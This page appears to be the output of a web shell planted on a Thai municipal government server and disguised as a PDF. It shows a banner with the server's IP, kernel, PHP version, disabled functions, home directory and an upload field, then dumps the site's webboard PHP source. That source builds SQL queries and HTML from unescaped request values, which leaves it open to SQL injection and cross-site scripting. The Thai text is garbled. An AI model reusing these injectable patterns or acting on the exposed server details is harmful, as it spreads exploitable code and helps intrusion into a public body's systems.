%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : apache ( 994) PHP Version : 5.3.29 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/thungkhana/domains/thungkhanan.go.th/public_html/webboard/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<!-- InstanceBeginEditable name="doctitle" -->
<!-- InstanceEndEditable -->
<?php
require_once('../admin/Connections/conndb.php');
mysql_select_db($database_conndb, $conndb);
?>
<title>ͧúǹӺŷ觢ҹ 99/9 1 Ӻ 觢ҹ ´ ѧѴ ѹ :: www.thungkhanan.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" -->
<script type="text/JavaScript">
<!--
function MM_jumpMenu(targ,selObj,restore){ //v3.0
eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
if (restore) selObj.selectedIndex=0;
}
//-->
</script>
<!-- InstanceEndEditable -->
<style type="text/css">
<!--
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-color: #3CFFFF;
}
-->
</style>
<!--styles -->
<link href="../styles.css" rel="stylesheet" type="text/css" />
<link href="../css/Hover%20Buttons.css" rel="stylesheet" type="text/css"/>
<link href="../css/Hoverable-Sidenav.css" rel="stylesheet" type="text/css"/>
<!--<script src="https://platform-api.sharethis.com/js/sharethis.js#property=5d255a83d97c100012d80679&product='inline-share-buttons'
async='async" type='text/javascript'> -->
</script>
<!--styles -->
<style type="text/css">
<!--
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
.style6 {color: #FFFFFF}
-->
</style></head>
<body background="../images/0bg1-edit1.png" style="background-repeat:no-repeat; background-position:top">
<!-- content -->
<div align="center">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top"><tr>
<td height="" align="center" valign="top"><iframe src="/head-slider.html" width="100%" height="627" scrolling="no" frameborder="0" marginheight="0" marginwidth="0"></iframe></td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
</td>
</tr>
<tr>
<td align="center" valign="top"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"><!-- InstanceBeginEditable name="EditRegion3" -->
<table width="98%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><div align="center"><img src="../images/botton/borad.png" width="640" height="78"></div></td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td><div align="center"><?
include("config.inc.php");
// Ǵͧ纺
mysql_connect($host,$user_db,$passwd_db);
mysql_query ("SET NAMES 'tis620'");
$c_sql = "select * from webboard_category where cat_name='$Category' ";
$c_result = mysql_db_query($dbname,$c_sql);
$c_NRow = mysql_num_rows($c_result);
$c_row = mysql_fetch_array($c_result);
$nlist = $c_row["cat_title"];
$logo = $c_row["cat_logo"];
if($c_NRow==0) {
echo "<center><br>";
echo "<font color=red size=+1> سк Category çѺ web Դ¤Ѻ</font>";
echo "<br>";
echo "</center>";
exit();
}
// Ǵ纺
$c_sql1 = "select * from webboard_category ";
$c_result1 = mysql_db_query($dbname,$c_sql1);
mysql_close
//
?> </div></td>
</tr>
<tr>
<td height="30" class="title2"><div align="center"><? echo $nlist; ?></div></td>
</tr>
<tr>
<td><div align="left"><a href="postq.php?Category=<? echo $Category; ?>" class="styles2">駤Ӷ</a></div></td>
</tr>
<tr>
<td><div align="right" class="title"><form method=post action="search.php?Category=<? echo $Category; ?>" name="SearchForm" onSubmit="return check()">
<table width="100%" border="0" cellspacing="0" cellpadding="2">
<tr>
<td width="45%" class="styles1">
<div align="left"><font size="2" face="MS Sans Serif, Tahoma, sans-serif"><img src='pic/new2day.gif' border=0> - Ӷդѹ <img src='pic/update2day.gif' border=0 align="absmiddle"> - Ӷդͺѹ </font></div></td>
<td width="55%" class="title"><div align="right"><img src="pic/find.gif" align="absmiddle">
<input name="search" type=text class="styles3" onClick="document.SearchForm.search.value=''" value="Ӥҷ" size=20 maxlength=100>
<select name=searchtype class="styles3">
<option value=wb_topic
selected>ҨҡǢ͡з</option>
<option
value=wb_detail>Ҩҡͤ</option>
<option
value=wb_sender>Ҩҡ</option>
<option
value=wb_id>ҨҡŢз</option>
</select>
<input name="Submit" type="submit" class="styles3" value="">
</div></td>
</tr>
</table>
</form>
</div></td>
</tr>
<tr>
<td><div align="center">
<?
// table Ժ¤¢ͧٻӶ
$chk_date = substr(date("Y-m-d H:i:s"),-19,-9);
if (empty($page)){
$page=1;
}
// Դ database ҹ
// Ҩӹǹ˹ҷ
mysql_connect($host,$user_db,$passwd_db);
mysql_query ("SET NAMES 'tis620'");
$sql = "select No from webboard_data where Category='$Category' and pst='0' ";
$result = mysql_db_query($dbname,$sql);
$NRow = mysql_num_rows($result);
$rt = $NRow%$list_page;
if($rt!=0) {
$totalpage = floor($NRow/$list_page)+1;
}
else {
$totalpage = floor($NRow/$list_page);
}
$goto = ($page-1)*$list_page;
$w1 = "No";
$w2 = "No";
$w3 = "pageview";
$w4 = "Reply";
$w5 = "ReplyDate";
if ($sequence=="") {
$lists = $w1;
}
elseif ($sequence=="No") {
$lists = $w2;
}
elseif ($sequence=="pageview") {
$lists = $w3;
}
elseif ($sequence=="Reply") {
$lists = $w4;
}
elseif ($sequence=="ReplyDate") {
$lists = $w5;
}
else {
}
// Query ŵӹǹ˹
$sql = "select * from webboard_data where Category='$Category' and pst='0' order by $lists DESC limit $goto,$list_page";
$result = mysql_db_query($dbname,$sql);
$NRow = mysql_num_rows($result);
$sql2 = "select * from webboard_data where pst='1' order by No DESC limit 0,$list_news";
$result2 = mysql_db_query($dbname,$sql2);
$NRow2 = mysql_num_rows($result2);
if($NRow==0) {
echo "<center>";
echo "<br><br>";
echo "<font size=2 face='MS Sans Serif'>ѧդӶ</font><br><br><br>\n";
echo "<center>";
}
// ʴǢͧ͢
else {
echo "<table width=98% border=0 bgcolor=#000000 cellspacing=0 cellpadding=0>\n";
echo "<table width=98% border=0 cellspacing=1 cellpadding=3 bgcolor=#CCCCCC>\n";
echo "<tr bgcolor=#FF9900>\n";
echo "\t<td align=center width=11% background=../images/bg4.gif class=styles height=25>Ӷ</td>\n";
echo "\t<td align=center width=69% background=../images/bg4.gif class=styles>ǢͤӶ</td>\n";
echo "\t<td align=center width=10% background=../images/bg4.gif class=styles>Ҫ</td>\n";
echo "\t<td align=center width=10% background=../images/bg4.gif class=styles>ͺ</td>\n";
echo "</tr>\n\n";
echo "</table>\n";
echo "<table width=98% border=0 cellpadding=0 cellspacing=1 bgcolor=#CCCCCC><tr><td>\n";
echo "<table width=100% border=0 cellspacing=0 cellpadding=3 bgcolor=#FFFFFF>\n";
echo "<tr>\n";
echo "</tr>\n\n";
$j=1;
// ǹٻʴŷҹ
while ($row2 = mysql_fetch_array($result2)) {
// ˹ҵ 2
$No2 = sprintf("%05d",$row2["No"]);
$Question2 = $row2["Question"];
$Name2 = $row2["Name"];
$Namer2 = $row2["Namer"];
$Member2 = $row2["Member"];
$Memberr2 = $row2["Memberr"];
$nphoto2 = $row2["nphoto"];
$Date2 = trim(substr($row2["Date"],-19,-9)); // ʴѹ
$Dated2 = $row2["Date"];
$Reply2 = $row2["Reply"];
$ReplyDate2 = trim(substr($row2["ReplyDate"],-19,-9));
$pageviewdata2 = $row2["pageview"];
// Ҫԡ
$sql3 = "select * from webboard_member where User='$Name2'";
$result3 = mysql_db_query($dbname,$sql3);
$row3 = mysql_fetch_array($result3);
// ˹ҵ ʴ
$icons3 = $row3["icons"];
echo "<tr><td align=center width=11% class=styles1><img src='pic/pin_topic.gif'> <b>xxxxx</b></td>";
echo "<td width=62% class=styles1><a href='show.php?Category=$Category&No=$row2[No]' target='$No2'><font color=red>$Question2</font></a></font><br> : <font color=green>$Name2</font> : $Dated2</td>";
if($Member2) {
echo "<td width=7% class=styles1><center><img src='pic/avartar/$icons3'></center></td>";
}
else {
echo "<td width=7% class=styles1> </td>";
}
echo "<td width=10% class=styles1><center>$pageviewdata2</center></td>";
echo "<td width=10% class=styles1><center>$Reply2</center></td>";
echo "</tr>";
echo "<TR bgColor=#ffffff><TD colspan=5 align=middle class=styles1><table width=100% border=0 cellspacing=0 cellpadding=0>";
echo "<tr><td bgcolor=#CCCCCC class=styles1><img src=pic/0.gif width=1 height=1></td></tr></table></TD></TR>";
$j++;
}
$i=1;
// ǹٻʴŷҹ
while ($row = mysql_fetch_array($result)) {
// ˹բͧҧ աѺ
//$bgc = ($bgc=="lightcyan") ? "powderblue" : "lightcyan";
$bgc = ($bgc==$rowColor1) ? $rowColor2 : $rowColor1;
// ˹ҵ 1
$No = sprintf("%05d",$row["No"]);
$Question = $row["Question"];
$Name = $row["Name"];
$Namer = $row["Namer"];
$Member = $row["Member"];
$Memberr = $row["Memberr"];
$nphoto = $row["nphoto"];
$Date = trim(substr($row["Date"],-19,-9)); // ʴѹ
$Dated = $row["Date"];
$Reply = $row["Reply"];
$ReplyDate = trim(substr($row["ReplyDate"],-19,-9));
$pageviewdata = $row["pageview"];
// Ҫԡ
$sql1 = "select * from webboard_member where User='$Name'";
$result1 = mysql_db_query($dbname,$sql1);
$row1 = mysql_fetch_array($result1);
// ˹ҵ ʴ
$icons = $row1["icons"];
// ʴѹ
if($Date==$chk_date) {
echo "<tr bgcolor=$rowHiLight>\n";
}else {
echo "<tr bgcolor=$bgc>\n";
}
// 絻ͧ
if(substr($nphoto,-3,3)=="swf")
{
$picc = "flash.gif";
}
else {
$picc = "cam.gif";
}
// ʴٻ folder
// new
if($Reply>="10" )
{
echo "\t<td align=center width=11% class=styles1><img src='pic/hotfd.gif'> $No</td>\n";
}
elseif($ReplyDate!="")
{
echo "\t<td align=center width=11% class=styles1><img src='pic/openfd.gif'> $No</td>\n";
}
elseif($Date==$chk_date)
{
echo "\t<td align=center width=11% class=styles1><img src='pic/newfd.gif'> $No</td>\n";
}
else {
echo "\t<td align=center width=11% class=styles1><img src='pic/closefd.gif'> $No</td>\n";
}
if(($ReplyDate==$chk_date)&&($nphoto!='')&&($Date==$chk_date)) {
echo "\t<td width=62% class=styles1><a href='show.php?Category=$Category&No=$row[No]' target='$No' class=\"styles2\">$Question</a> <img src='pic/$picc' border=\"0\"><img src='pic/new2day.gif' border=\"0\"> <img src='pic/update2day.gif' border=\"0\"></font><br> : <font color=red>$Name</font> : $Dated</td>\n";
}
elseif(($ReplyDate==$chk_date)&&($nphoto!='')) {
echo "\t<td width=62% class=styles1><a href='show.php?Category=$Category&No=$row[No]' target='$No' class=\"styles2\">$Question</a> <img src='pic/$picc' border=\"0\" ><font color=red size='2'> <img src='pic/update2day.gif' border=\"0\"></font><br> : <font color=red>$Name</font> : $Dated</td>\n";
}
elseif(($ReplyDate==$chk_date) &&($Date==$chk_date))
{echo "\t<td width=62% class=styles1><a href='show.php?Category=$Category&No=$row[No]' target='$No' class=\"styles2\">$Question</a> <font color=red size='2'> <img src='pic/new2day.gif' border=\"0\"> <img src='pic/update2day.gif' border=\"0\"></font><br> : <font color=red>$Name</font> : $Dated</td>\n";
}
elseif($ReplyDate==$chk_date)
{echo "\t<td width=62% class=styles1><a href='show.php?Category=$Category&No=$row[No]' target='$No' class=\"styles2\">$Question</a> <font color=red size='2'> <img src='pic/update2day.gif' border=\"0\" align=absmiddle></font><br> : <font color=red>$Name</font> : $Dated</td>\n";
}
elseif(($nphoto!='') &&($Date==$chk_date))
{echo "\t<td width=62% class=styles1><a href='show.php?Category=$Category&No=$row[No]' target='$No' class=\"styles2\">$Question </a><img src='pic/new2day.gif' border=\"0\"> <img src='pic/$picc' border=\"0\"><br> : <font color=red>$Name</font> : $Dated</td>\n";
}
elseif($nphoto!='')
{echo "\t<td width=62% class=styles1><a href='show.php?Category=$Category&No=$row[No]' target='$No' class=\"styles2\">$Question </a> <img src='pic/$picc' border=\"0\"><br> : <font color=red>$Name</font> : $Dated</td>\n";
}
elseif($Date==$chk_date)
{echo "\t<td width=62% class=styles1><a href='show.php?Category=$Category&No=$row[No]' target='$No' class=\"styles2\">$Question </a> <img src='pic/new2day.gif' border=\"0\"><br> : <font color=red>$Name</font> : $Dated</td>\n";
}
else{
echo "\t<td width=62% class=styles1><a href='show.php?Category=$Category&No=$row[No]' target='$No' class=\"styles2\">$Question</a><br> : <font color=red>$Name</font> : $Dated</td>\n";
}
if($Member) {
echo "\t<td width=7% class=styles1><center><img src='pic/avartar/$icons'></center></td>\n";
}
else {
echo "\t<td width=7% class=styles1> </td>\n";
}
echo "\t<td width=10% class=styles1><center>$pageviewdata</center></td>\n";
echo "\t<td width=10%><center class=styles1>$Reply</center></td>\n";
if ($NRow > $i)
{
echo "<TR bgColor=#ffffff><TD colspan=5 align=middle class=styles1><table width=100% border=0 cellspacing=0 cellpadding=0>";
echo "<tr><td bgcolor=#CCCCCC class=styles1><img src=pic/0.gif width=1 height=1></td></tr></table></TD></TR>";
}
else {
echo "<tr><td bgcolor=#FFFFFF class=styles1><img src=pic/0.gif width=1 height=1></td></tr>";
}
$i++;
}
echo "</table>\n\n";
echo "</td></tr></table>\n";
// table Ժ¤¢ͧٻ
echo "<table width=98% border=0 bordercolor=black cellspacing=0 cellpadding=2>\n";
echo "<tr><td align=left class=styles3>\n";
echo "\t<img src='pic/pin_topic.gif'> - ǻС \n";
echo "\t <img src='pic/newfd.gif'> - Ӷ \n";
echo "\t <img src='pic/closefd.gif'> - Ӷ \n";
echo "\t <img src='pic/openfd.gif'> - Ӷ١ͺ\n";
echo "\t <img src='pic/hotfd.gif'> - Ӷդͺҡ\n";
echo "\t <img src='pic/cam.gif'> - Ӷٻ\n";
// echo "\t <img src='pic/flash.gif' align=absmiddle> - Ӷ Flash\n";
echo "</td></tr>\n";
echo "</table>\n\n";
// table ʴŢ˹
echo "<table width=98% border=0 bordercolor=black cellspacing=0 cellpadding=2>\n";
echo "<tr><td align=left class=styles1>\n";
echo "\t<font size=2 color=#9400D3>\n";
####################################
$r1 = "";
$r2 = "&sequence=$sequence";
if ($sequence=="") {
$lists1 = $r1;
}
else {
$lists1 = $r2;
}
// ҧ link ˹ҡ-˹ҶѴ
if($page>1 && $page<=$totalpage) {
$prevpage = $page-1;
echo "\t<a href='webboard.php?Category=$Category$lists1&page=$prevpage' class='styles2'>[˹ҡ = $prevpage]</a>\n";
}
echo "\t ѧʴ˹ҷ $page/$totalpage \n";
if($page!=$totalpage) {
$nextpage = $page+1;
echo "\t<a href='webboard.php?Category=$Category$lists1&page=$nextpage' class='styles2'>[˹ҶѴ = $nextpage]</a>\n";
}
echo "\t</font>\n";
echo "</td></tr>\n";
echo "<tr><td>\n";
// ǹٻʴŢ˹ҷ
for($i=1 ; $i<$page ; $i++) {
echo "\t<a href='webboard.php?Category=$Category$lists1&page=$i' class='styles2'>$i</a> \n";
}
echo "\t<font size=2 color=red><b>$page</b></font> \n";
for($i=$page+1 ; $i<=$totalpage ; $i++) {
echo "\t<a href='webboard.php?Category=$Category$lists1&page=$i' class='styles2'>$i</a> \n";
}
echo "</td></tr>\n";
echo "</table>\n";
}
?>
</div></td>
</tr>
<tr>
<td><div align="right"><FORM name=select_board action=webboard.php method=post>
<table width="400" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<div align="right">
<select
name=board class="styles3" id="board" onChange="MM_jumpMenu('parent',this,0)">
<option selected>== ͡ʴ ==</option>
pageview
<option value="webboard.php?Category=<? echo $Category; ?>&sequence=No">§ŢӶ</option>
<option value="webboard.php?Category=<? echo $Category; ?>&sequence=pageview">§ӹǹҪ</option>
<option value="webboard.php?Category=<? echo $Category; ?>&sequence=Reply">§ӹǹͺ</option>
<option value="webboard.php?Category=<? echo $Category; ?>&sequence=ReplyDate">§ͺش</option>
</select>
<SELECT
name=select class="styles3" onChange="MM_jumpMenu('parent',this,0)">
<option value="" selected>== ͡纺촷ͧ ==</option>
<?
$k=1;
while( $cn = mysql_fetch_row( $c_result1 ))
{
?>
<option value="webboard.php?Category=<? echo $cn[1]; ?>"><? echo $cn[2]; ?></option>
<?
$k++;
}
mysql_close();
?>
</SELECT>
<SCRIPT language=JavaScript>
<!--
function MM_jumpMenu(targ,selObj,restore){ //v3.0
eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
if (restore) selObj.selectedIndex=0;
}
//-->
</SCRIPT>
</div></td>
</tr>
</table>
</form>
</div></td>
</tr>
</table>
<!-- InstanceEndEditable --></td>
</tr>
</table></td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top" style="background-repeat:no-repeat"><img src="../images/foot.png"></td>
</tr>
</table>
</div>
<!-- end_content -->
<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>
<map name="Map6" id="Map6"><area shape="rect" coords="210,1,302,41" href="http://www.tratlocal.go.th/index.php" target="_blank" />
</map>
</body>
<!-- InstanceEnd --></html>